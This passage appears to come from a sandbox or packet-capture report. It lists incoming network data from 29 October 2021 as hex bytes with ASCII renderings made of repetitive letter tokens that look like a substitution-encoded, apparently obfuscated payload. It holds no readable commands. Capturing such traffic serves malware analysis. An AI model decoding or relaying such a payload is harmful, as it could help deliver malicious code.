2021-10-29 18:10:59 UTC	2104	IN	Data Raw: 74 20 45 74 20 45 6f 20 4b 6f 20 78 20 78 20 78 20 45 4f 20 59 78 20 4f 59 74 20 45 74 20 45 6f 20 4b 6f 20 78 20 78 20 78 20 45 4f 20 59 78 20 4f 59 74 20 45 74 20 45 4f 20 4b 6f 20 45 4f 20 4f 4f 6f 20 4f 59 74 20 45 74 20 45 6f 20 4b 4f 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 4b 4f 20 78 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 6f 20 4b 4f 20 78 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 4f 20 4b 4f 20 45 4f 20 4f 78 51 20 4f 59 74 20 45 74 20 45 6f 20 4b 78 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 4b 78 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 4b 78 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 4f 20 4b 78 20 45 4f 20 4f Data Ascii: t Et Eo Ko x x x EO Yx OYt Et Eo Ko x x x EO Yx OYt Et EO Ko EO OOo OYt Et Eo KO x x x EO Kk OYt Et Eo KO x x x EO Yo OYt Et Eo KO x x x EO Yo OYt Et EO KO EO OxQ OYt Et Eo Kx x x x EO Yt OYt Et Eo Kx x x x EO Qk OYt Et Eo Kx x x x EO Yt OYt Et EO Kx EO O
2021-10-29 18:10:59 UTC	2120	IN	Data Raw: 4f 4f 20 4f 59 74 20 45 74 20 45 6f 20 4b 6f 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 4b 6f 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 4b 6f 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 4f 20 4b 6f 20 45 4f 20 4f 4f 74 20 4f 59 74 20 45 74 20 45 6f 20 4b 4f 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 6f 20 4b 4f 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 4b 4f 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 4f 20 4b 4f 20 45 4f 20 4f 4f 45 20 4f 59 74 20 45 74 20 45 6f 20 4b 78 20 78 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 6f 20 4b 78 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 6f 20 Data Ascii: OO OYt Et Eo Ko x x x EO Qk OYt Et Eo Ko x x x EO Oxo OYt Et Eo Ko x x x EO Oxo OYt Et EO Ko EO OOt OYt Et Eo KO x x x EO YO OYt Et Eo KO x x x EO YY OYt Et Eo KO x x x EO Yt OYt Et EO KO EO OOE OYt Et Eo Kx x x x EO Yo OYt Et Eo Kx x x x EO YO OYt Et Eo
2021-10-29 18:10:59 UTC	2136	IN	Data Raw: 6f 20 4f 20 78 20 78 20 78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 6f 20 4f 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 6f 45 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 6f 6f 20 45 4f 20 4f 78 74 20 4f 59 74 20 4f 4f 59 20 4f 45 52 20 78 20 78 20 4f 78 20 4b 6f 20 4f 51 20 4b 6b 20 4b 20 78 20 6f 4f 6b 20 6f 20 78 20 78 20 45 20 78 20 78 20 4f 74 20 45 4f 20 6f 6f 20 4f 4b 4f 20 4f 4f 59 20 78 20 78 20 4f 20 45 74 20 45 6f 20 6f 4f 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 45 6f 20 6f 4f 20 78 20 78 Data Ascii: o O x x x EO Oxx OYt Et Eo O x x x EO YK OYt Et oE EO OxO OYt Et Eo x x x x EO Yt OYt Et Eo x x x x EO YO OYt Et Eo x x x x EO YE OYt Et oo EO Oxt OYt OOY OER x x Ox Ko OQ Kk K x oOk o x x E x x Ot EO oo OKO OOY x x O Et Eo oO x x x EO YR OYt Et Eo oO x x
2021-10-29 18:10:59 UTC	2152	IN	Data Raw: 52 20 4f 20 52 20 78 20 4f 78 78 20 4f 6b 4f 20 4f 20 78 20 78 20 78 20 4f 59 78 20 78 20 4f 52 45 20 51 52 20 59 6b 20 4f 20 52 20 78 20 4f 6f 74 20 4f 6b 4f 20 4f 20 78 20 78 20 78 20 4f 59 78 20 78 20 6f 59 4b 20 74 45 20 74 6b 20 4f 20 52 20 78 20 4f 59 51 20 4f 6b 4f 20 4f 20 78 20 78 20 78 20 4f 59 78 20 78 20 4f 52 78 20 74 51 20 51 52 20 4f 20 52 20 78 20 4f 6b 52 20 4f 6b 4f 20 4f 20 78 20 78 20 78 20 4f 59 78 20 78 20 4f 4b 6f 20 6b 59 20 4f 4f 6f 20 4f 20 52 20 78 20 4f 51 74 20 4f 6b 4f 20 4f 20 78 20 78 20 78 20 4f 59 78 20 78 20 4f 78 52 20 4b 59 20 4f 4f 6f 20 4f 20 52 20 78 20 6f 78 6b 20 4f 6b 4f 20 4f 20 78 20 78 20 78 20 4f 59 78 20 78 20 4f 74 52 20 74 52 20 4f 4f 6f 20 4f 20 52 20 78 20 6f 4f 51 20 4f 6b 4f 20 4f 20 78 20 78 20 78 20 Data Ascii: R O R x Oxx OkO O x x x OYx x ORE QR Yk O R x Oot OkO O x x x OYx x oYK tE tk O R x OYQ OkO O x x x OYx x ORx tQ QR O R x OkR OkO O x x x OYx x OKo kY OOo O R x OQt OkO O x x x OYx x OxR KY OOo O R x oxk OkO O x x x OYx x OtR tR OOo O R x oOQ OkO O x x x
2021-10-29 18:10:59 UTC	2168	IN	Data Raw: 4f 4b 20 78 20 78 20 78 20 52 4b 20 78 20 78 20 78 20 4f 59 20 78 20 78 20 78 20 6f 4b 6b 20 78 20 78 20 78 20 4f 52 20 78 20 78 20 78 20 6f 6f 4b 20 78 20 78 20 78 20 4f 74 20 78 20 78 20 78 20 6f 78 4b 20 6f 20 78 20 78 20 4f 6b 20 78 20 78 20 78 20 4f 20 78 20 78 20 78 20 6f 45 20 78 20 4f 20 78 20 78 20 4f 4b 6b 20 4f 20 78 20 45 6b 20 78 20 4f 6f 20 78 20 78 20 78 20 45 59 20 78 20 4f 52 20 78 20 78 20 78 20 45 52 20 78 20 6f 78 20 78 20 78 20 78 20 45 74 20 78 20 6f 20 78 20 78 20 78 20 45 6b 20 78 20 78 20 78 20 78 20 78 20 45 51 20 78 20 52 78 20 78 20 78 20 78 20 4b 78 20 78 20 78 20 78 20 78 20 78 20 4b 4f 20 78 20 4b 20 78 20 78 20 78 20 4b 6f 20 78 20 6f 4b 20 78 20 78 20 78 20 4b 45 20 78 20 78 20 78 20 78 20 78 20 4b 4b 20 78 20 4f 52 20 78 Data Ascii: OK x x x RK x x x OY x x x oKk x x x OR x x x ooK x x x Ot x x x oxK o x x Ok x x x O x x x oE x O x x OKk O x Ek x Oo x x x EY x OR x x x ER x ox x x x Et x o x x x Ek x x x x x EQ x Rx x x x Kx x x x x x KO x K x x x Ko x oK x x x KE x x x x x KK x OR x
2021-10-29 18:10:59 UTC	2184	IN	Data Raw: 4f 4f 52 20 4f 4f 4f 20 4f 4f 4b 20 78 20 4b 52 20 51 51 20 51 51 20 4f 4f 52 20 4f 4f 4f 20 4f 4f 4b 20 78 20 74 4f 20 4f 78 4f 20 4f 4f 78 20 4f 78 4f 20 4f 4f 4b 20 4f 78 59 20 51 51 20 6b 45 20 4f 78 4f 20 51 51 20 4f 4f 74 20 4f 4f 4b 20 4f 78 59 20 4f 4f 52 20 4f 6f 4f 20 52 6b 20 4f 78 4f 20 4f 4f 59 20 51 51 20 4f 4f 4b 20 4f 78 59 20 4f 4f 6f 20 4f 4f 52 20 4f 4f 4f 20 4f 4f 4b 20 78 20 6b 59 20 74 45 20 4f 4f 78 20 4f 4f 52 20 6b 78 20 4f 4f 52 20 4f 4f 4b 20 78 20 6b 45 20 4f 6f 4f 20 4f 4f 59 20 4f 4f 52 20 4f 78 4f 20 4f 78 51 20 4b 52 20 52 6b 20 4f 78 59 20 51 74 20 4f 78 45 20 4f 4f 78 20 4f 4f 4f 20 4f 4f 59 20 4f 4f 52 20 4f 78 59 20 51 51 20 4f 4f 59 20 78 20 4f 78 45 20 4f 78 4f 20 4f 4f 52 20 51 59 20 6b 4b 20 4f 4f 4f 20 4f 4f 52 20 Data Ascii: OOR OOO OOK x KR QQ QQ OOR OOO OOK x tO OxO OOx OxO OOK OxY QQ kE OxO QQ OOt OOK OxY OOR OoO Rk OxO OOY QQ OOK OxY OOo OOR OOO OOK x kY tE OOx OOR kx OOR OOK x kE OoO OOY OOR OxO OxQ KR Rk OxY Qt OxE OOx OOO OOY OOR OxY QQ OOY x OxE OxO OOR QY kK OOO OOR
2021-10-29 18:10:59 UTC	2200	IN	Data Raw: 4f 59 51 20 4f 45 45 20 78 20 6f 45 4f 20 4f 52 4b 20 4f 59 78 20 6f 45 4f 20 4f 52 45 20 4f 74 6f 20 6f 45 4f 20 4f 52 4b 20 4f 45 78 20 6f 45 4f 20 4f 52 45 20 4f 59 4b 20 6f 45 4f 20 4f 52 4b 20 4f 45 45 20 6f 45 4f 20 4f 52 4b 20 4f 59 6f 20 6f 45 4f 20 4f 52 45 20 4f 74 6b 20 6f 45 4f 20 4f 52 4b 20 4f 45 52 20 6f 45 4f 20 4f 52 4b 20 4f 59 4b 20 6f 45 4f 20 4f 52 4b 20 4f 45 6f 20 6f 45 4f 20 4f 52 4b 20 4f 45 6f 20 6f 45 4f 20 4f 52 45 20 4f 52 74 20 6f 45 4f 20 4f 52 45 20 4f 59 4f 20 6f 45 4f 20 4f 52 4b 20 4f 45 59 20 6f 45 4f 20 4f 52 4b 20 4f 45 45 20 78 20 6f 45 45 20 4f 74 6f 20 4f 45 6b 20 6f 45 45 20 4f 74 4f 20 4f 52 6b 20 6f 45 45 20 4f 74 6f 20 4f 6f 6b 20 6f 45 45 20 4f 74 4f 20 4f 74 51 20 6f 45 45 20 4f 74 4f 20 4f 45 4b 20 6f 45 45 Data Ascii: OYQ OEE x oEO ORK OYx oEO ORE Oto oEO ORK OEx oEO ORE OYK oEO ORK OEE oEO ORK OYo oEO ORE Otk oEO ORK OER oEO ORK OYK oEO ORK OEo oEO ORK OEo oEO ORE ORt oEO ORE OYO oEO ORK OEY oEO ORK OEE x oEE Oto OEk oEE OtO ORk oEE Oto Ook oEE OtO OtQ oEE OtO OEK oEE
2021-10-29 18:10:59 UTC	2216	IN	Data Raw: 6f 20 4f 4b 4f 20 6f 45 52 20 4f 52 45 20 4f 45 6f 20 6f 45 52 20 4f 52 45 20 4f 4b 59 20 6f 45 52 20 4f 52 6f 20 4f 6b 4b 20 6f 45 52 20 4f 52 6f 20 4f 4b 6f 20 6f 45 52 20 4f 52 6f 20 4f 74 6f 20 6f 45 52 20 4f 52 6f 20 4f 4b 4b 20 6f 45 52 20 4f 52 6f 20 4f 6b 52 20 6f 45 52 20 4f 52 6f 20 4f 6b 74 20 6f 45 52 20 4f 52 6f 20 4f 45 74 20 6f 45 52 20 4f 52 6f 20 4f 4b 4b 20 78 20 6f 45 6f 20 4f 52 45 20 4f 6b 51 20 6f 45 6f 20 4f 52 45 20 4f 4b 4f 20 6f 45 6f 20 4f 52 45 20 4f 4b 78 20 6f 45 6f 20 4f 52 4b 20 4f 6f 51 20 6f 45 6f 20 4f 52 45 20 4f 6b 4b 20 6f 45 6f 20 4f 52 45 20 4f 6b 74 20 6f 45 6f 20 4f 52 45 20 4f 4b 6f 20 6f 45 6f 20 4f 52 4b 20 4f 4b 78 20 6f 45 6f 20 4f 52 45 20 4f 74 4f 20 6f 45 6f 20 4f 52 45 20 4f 45 51 20 6f 45 6f 20 4f 52 45 Data Ascii: o OKO oER ORE OEo oER ORE OKY oER ORo OkK oER ORo OKo oER ORo Oto oER ORo OKK oER ORo OkR oER ORo Okt oER ORo OEt oER ORo OKK x oEo ORE OkQ oEo ORE OKO oEo ORE OKx oEo ORK OoQ oEo ORE OkK oEo ORE Okt oEo ORE OKo oEo ORK OKx oEo ORE OtO oEo ORE OEQ oEo ORE
2021-10-29 18:10:59 UTC	2232	IN	Data Raw: 4f 52 51 20 6f 45 59 20 4f 45 6b 20 4f 74 6b 20 6f 45 59 20 4f 45 51 20 4f 59 59 20 6f 45 59 20 4f 45 51 20 4f 59 74 20 6f 45 59 20 4f 45 6b 20 4f 52 51 20 6f 45 59 20 4f 45 51 20 4f 59 59 20 78 20 6f 6f 6b 20 4f 4b 4b 20 4f 52 45 20 6f 6f 6b 20 4f 4b 4b 20 4f 74 6f 20 6f 6f 6b 20 4f 4b 59 20 4f 59 4f 20 6f 6f 6b 20 4f 4b 4b 20 4f 59 59 20 6f 6f 6b 20 4f 4b 4b 20 4f 4b 74 20 6f 6f 6b 20 4f 4b 4b 20 4f 59 6f 20 6f 6f 6b 20 4f 4b 4b 20 4f 4b 74 20 6f 6f 6b 20 4f 4b 4b 20 4f 4b 51 20 6f 6f 6b 20 4f 4b 4b 20 4f 59 45 20 6f 6f 6b 20 4f 4b 4b 20 4f 4b 74 20 6f 6f 6b 20 4f 4b 59 20 4f 59 52 20 6f 6f 6b 20 4f 4b 4b 20 4f 59 4f 20 6f 6f 6b 20 4f 4b 4b 20 4f 52 59 20 6f 6f 6b 20 4f 4b 4b 20 4f 74 59 20 6f 6f 6b 20 4f 4b 4b 20 4f 59 59 20 78 20 6f 45 51 20 4f 4b 52 Data Ascii: ORQ oEY OEk Otk oEY OEQ OYY oEY OEQ OYt oEY OEk ORQ oEY OEQ OYY x ook OKK ORE ook OKK Oto ook OKY OYO ook OKK OYY ook OKK OKt ook OKK OYo ook OKK OKt ook OKK OKQ ook OKK OYE ook OKK OKt ook OKY OYR ook OKK OYO ook OKK ORY ook OKK OtY ook OKK OYY x oEQ OKR
2021-10-29 18:10:59 UTC	2248	IN	Data Raw: 45 20 6f 6f 51 20 4f 52 4b 20 4f 4b 51 20 6f 6f 51 20 4f 52 45 20 4f 52 6f 20 6f 6f 51 20 4f 52 4b 20 4f 4b 74 20 6f 6f 51 20 4f 52 45 20 4f 52 4f 20 6f 6f 51 20 4f 52 45 20 4f 52 59 20 78 20 6f 6f 4b 20 4f 52 74 20 4f 52 45 20 6f 6f 4b 20 4f 52 74 20 4f 52 74 20 6f 6f 4b 20 4f 52 52 20 4f 6b 74 20 6f 6f 4b 20 4f 52 74 20 4f 52 45 20 6f 6f 4b 20 4f 52 52 20 4f 6b 74 20 6f 6f 4b 20 4f 52 52 20 4f 74 6b 20 6f 6f 4b 20 4f 52 74 20 4f 52 52 20 6f 6f 4b 20 4f 52 52 20 4f 74 6b 20 6f 6f 4b 20 4f 52 74 20 4f 52 4b 20 6f 6f 4b 20 4f 52 52 20 4f 6b 59 20 6f 6f 4b 20 4f 52 74 20 4f 4b 78 20 6f 6f 4b 20 4f 52 74 20 4f 52 52 20 6f 6f 4b 20 4f 52 74 20 4f 52 4b 20 6f 6f 4b 20 4f 52 74 20 4f 4b 45 20 6f 6f 4b 20 4f 52 74 20 4f 52 59 20 78 20 6f 6f 52 20 4f 52 6b 20 4f Data Ascii: E ooQ ORK OKQ ooQ ORE ORo ooQ ORK OKt ooQ ORE ORO ooQ ORE ORY x ooK ORt ORE ooK ORt ORt ooK ORR Okt ooK ORt ORE ooK ORR Okt ooK ORR Otk ooK ORt ORR ooK ORR Otk ooK ORt ORK ooK ORR OkY ooK ORt OKx ooK ORt ORR ooK ORt ORK ooK ORt OKE ooK ORt ORY x ooR ORk O
2021-10-29 18:10:59 UTC	2264	IN	Data Raw: 6f 6f 6b 20 4f 6b 6f 20 4f 74 51 20 6f 6f 6b 20 4f 6b 6f 20 4f 74 74 20 6f 6f 6b 20 4f 6b 45 20 4f 45 74 20 6f 6f 6b 20 4f 6b 45 20 4f 74 59 20 6f 6f 6b 20 4f 6b 45 20 4f 52 4f 20 6f 6f 6b 20 4f 6b 6f 20 4f 74 51 20 6f 6f 6b 20 4f 6b 6f 20 4f 6b 78 20 6f 6f 6b 20 4f 6b 45 20 4f 45 74 20 6f 6f 6b 20 4f 6b 45 20 4f 59 51 20 6f 6f 6b 20 4f 6b 45 20 4f 45 6f 20 6f 6f 6b 20 4f 6b 45 20 4f 45 45 20 6f 6f 6b 20 4f 6b 45 20 4f 74 74 20 6f 6f 6b 20 4f 6b 6f 20 4f 6b 78 20 6f 6f 6b 20 4f 6b 45 20 4f 6f 6b 20 6f 6f 6b 20 4f 6b 45 20 4f 74 59 20 78 20 6f 45 78 20 4f 6b 74 20 4f 51 4f 20 6f 45 78 20 4f 6b 6b 20 4f 45 74 20 6f 45 78 20 4f 6b 74 20 4f 74 6f 20 6f 45 78 20 4f 6b 74 20 4f 74 52 20 6f 45 78 20 4f 6b 74 20 4f 6b 51 20 6f 45 78 20 4f 6b 74 20 4f 74 74 20 6f Data Ascii: ook Oko OtQ ook Oko Ott ook OkE OEt ook OkE OtY ook OkE ORO ook Oko OtQ ook Oko Okx ook OkE OEt ook OkE OYQ ook OkE OEo ook OkE OEE ook OkE Ott ook Oko Okx ook OkE Ook ook OkE OtY x oEx Okt OQO oEx Okk OEt oEx Okt Oto oEx Okt OtR oEx Okt OkQ oEx Okt Ott o
2021-10-29 18:10:59 UTC	2280	IN	Data Raw: 4f 6b 6f 20 4f 4b 59 20 6f 45 45 20 4f 6b 45 20 4f 45 59 20 6f 45 45 20 4f 6b 6f 20 4f 74 52 20 6f 45 45 20 4f 6b 45 20 4f 45 51 20 6f 45 45 20 4f 6b 6f 20 4f 6b 52 20 78 20 6f 45 4f 20 4f 45 4f 20 4f 74 78 20 6f 45 4f 20 4f 45 4f 20 4f 52 45 20 6f 45 4f 20 4f 45 6f 20 4f 45 45 20 6f 45 4f 20 4f 45 4f 20 4f 6b 6b 20 6f 45 4f 20 4f 45 4f 20 4f 52 4f 20 6f 45 4f 20 4f 45 6f 20 4f 4b 6f 20 6f 45 4f 20 4f 45 6f 20 4f 45 45 20 6f 45 4f 20 4f 45 4f 20 4f 4b 78 20 6f 45 4f 20 4f 45 4f 20 4f 6b 59 20 6f 45 4f 20 4f 45 4f 20 4f 4b 59 20 6f 45 4f 20 4f 45 4f 20 4f 6b 74 20 6f 45 4f 20 4f 45 4f 20 4f 4b 4f 20 6f 45 4f 20 4f 45 4f 20 4f 45 52 20 6f 45 4f 20 4f 45 4f 20 4f 6b 59 20 6f 45 4f 20 4f 45 4f 20 4f 6b 74 20 78 20 6f 45 4f 20 4f 74 78 20 4f 51 4f 20 6f 45 4f Data Ascii: Oko OKY oEE OkE OEY oEE Oko OtR oEE OkE OEQ oEE Oko OkR x oEO OEO Otx oEO OEO ORE oEO OEo OEE oEO OEO Okk oEO OEO ORO oEO OEo OKo oEO OEo OEE oEO OEO OKx oEO OEO OkY oEO OEO OKY oEO OEO Okt oEO OEO OKO oEO OEO OER oEO OEO OkY oEO OEO Okt x oEO Otx OQO oEO
2021-10-29 18:10:59 UTC	2296	IN	Data Raw: 74 20 78 20 52 6b 20 78 20 6b 78 20 78 20 6b 4b 20 78 20 52 6b 20 78 20 4b 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 52 20 78 20 6b 6f 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 45 20 78 20 59 78 20 78 20 6b 78 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 51 74 20 78 20 74 51 20 78 20 59 6f 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 4f 78 4b 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4b 51 20 78 20 4b 74 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 78 20 78 20 74 78 20 78 20 6b 6f 20 78 Data Ascii: t x Rk x kx x kK x Rk x Kt x kO x RY x RY x RY x Oxx x RR x ko x OOE x RY x kx x KE x Yx x kx x RY x kO x RY x RY x tO x OOO x OOQ x Qt x tQ x Yo x Rk x RY x RY x Rk x Kt x Oxx x OxK x Rk x Kt x KQ x KQ x Kt x tK x OOQ x KQ x kt x tR x YY x tx x tx x ko x
2021-10-29 18:10:59 UTC	2312	IN	Data Raw: 59 20 78 20 74 78 20 78 20 74 51 20 78 20 74 6b 20 78 20 4f 78 52 20 78 20 59 59 20 78 20 51 78 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 6f 20 78 20 51 74 20 78 20 52 74 20 78 20 4f 78 52 20 78 20 74 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 45 20 78 20 74 6b 20 78 20 4b 45 20 78 20 52 52 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 51 20 78 20 74 4f 20 78 20 6b 51 20 78 20 4f 4f 59 20 78 20 74 4f 20 78 20 51 74 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 4b 45 20 78 20 59 78 20 78 20 6b 45 20 78 20 4f 78 45 20 78 Data Ascii: Y x tx x tQ x tk x OxR x YY x Qx x tE x RY x RY x RR x ko x Qt x Rt x OxR x tE x kO x RY x Rt x tR x Ooo x OOk x Yt x kO x RQ x tE x tk x KE x RR x RY x RR x KQ x tO x kQ x OOY x tO x Qt x kx x YR x RY x RY x RY x RR x kK x OxR x kQ x KE x Yx x kE x OxE x
2021-10-29 18:10:59 UTC	2328	IN	Data Raw: 6b 6b 20 78 20 59 6f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78 20 6b 6b 20 78 20 59 6f 20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 45 20 78 20 51 6b 20 78 20 4f 6f 4f 20 78 20 51 51 20 78 20 74 45 20 78 20 51 51 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 6b 6f 20 78 20 4f 4f 51 20 78 20 52 51 20 78 20 52 59 20 78 20 59 4b 20 78 20 74 4f 20 78 20 59 4b 20 78 20 6b 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 4f 78 4b 20 78 20 6b 4b 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 6b 78 20 78 20 51 6b 20 78 20 6b 52 20 78 20 59 78 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 78 74 20 78 20 6b Data Ascii: kk x Yo x OxY x Kk x kk x Yo x kk x KQ x YE x Qk x OoO x QQ x tE x QQ x RY x tx x kt x tR x YY x tR x OxE x YR x ko x OOQ x RQ x RY x YK x tO x YK x kE x RY x RY x Rt x tR x ko x kO x OxK x kK x kR x OxR x kx x Qk x kR x Yx x OOo x RY x Qx x OOO x Oxt x k
2021-10-29 18:10:59 UTC	2331	IN	Data Raw: 20 52 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 51 51 20 78 20 74 74 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 52 51 20 78 20 4f 78 6b 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 51 20 78 20 59 45 20 78 20 4f 4f 78 20 78 20 4f 78 59 20 78 20 6b 6f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 78 4b 20 78 20 74 45 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 45 20 78 20 6b 78 20 78 20 4f 4f 4f 20 78 20 59 78 20 78 20 74 78 20 78 20 52 59 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 51 78 20 78 20 4f 4f 4f 20 Data Ascii: RY x Rt x Kt x QQ x tt x Oxk x RY x RY x RY x KE x RQ x Oxk x OOQ x RY x RY x RY x tO x kQ x YE x OOx x OxY x ko x RQ x RY x RY x RY x kx x OxK x tE x OOO x RY x RY x RY x RR x OOE x kx x OOO x Yx x tx x RY x OOk x Kt x Kt x Kt x KQ x tk x kO x Qx x OOO
2021-10-29 18:10:59 UTC	2347	IN	Data Raw: 20 74 6b 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 59 20 78 20 6b 78 20 78 20 59 74 20 78 20 59 78 20 78 20 52 51 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 6f 78 20 78 20 6b 59 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 59 6f 20 78 20 6b 51 20 78 20 4f 78 74 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 74 4f 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 78 20 78 20 74 45 20 78 20 4f 78 74 20 78 20 59 52 20 78 20 74 74 20 78 20 6b 78 20 78 20 4b 45 20 78 20 74 4f 20 78 20 74 4b 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 74 20 78 20 74 6b 20 78 20 6b 4b 20 78 Data Ascii: tk x ko x Rk x RY x kQ x kY x kx x Yt x Yx x RQ x tO x OOO x RY x Kt x Oox x kY x kY x OOQ x Oxt x RY x RY x OxY x Yo x kQ x Oxt x Rt x OxE x RY x RY x kO x tO x OOk x RY x tx x tE x Oxt x YR x tt x kx x KE x tO x tK x RY x OOO x RY x RY x tt x tk x kK x
2021-10-29 18:10:59 UTC	2363	IN	Data Raw: 20 4b 51 20 78 20 6b 51 20 78 20 4f 6f 6f 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 6b 74 20 78 20 74 59 20 78 20 4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 52 20 78 20 4f 78 6b 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 6b 74 20 78 20 74 45 20 78 20 4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 52 52 20 78 20 6b 52 20 78 20 59 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 6b 20 78 20 4f 6f 78 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 4f 4f 4f 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: KQ x kQ x Ooo x Yt x OxQ x OxE x tE x RY x OxE x RY x RY x OxR x kQ x kt x tY x Kt x Oxo x Kt x Kt x kR x Oxk x RR x OxQ x OxY x Qk x kt x tE x Kt x Oxo x Kt x Kt x YK x RR x kR x YY x RY x RY x Rt x Rk x Oox x RY x Oox x OOO x Kt x OxE x QQ x RY x RY x
2021-10-29 18:10:59 UTC	2379	IN	Data Raw: 74 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 4f 20 78 20 4f 78 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 6b 51 20 78 20 4f 4f 6b 20 78 20 52 6b 20 78 20 59 4b 20 78 20 74 4f 20 78 20 74 52 20 78 20 4f 4f 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 74 6b 20 78 20 4f 78 45 20 78 20 59 78 20 78 20 52 52 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 6b 52 20 78 20 6b 51 20 78 20 4f 4f 6b 20 78 20 52 6b 20 78 20 59 4b 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 4f 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 4f 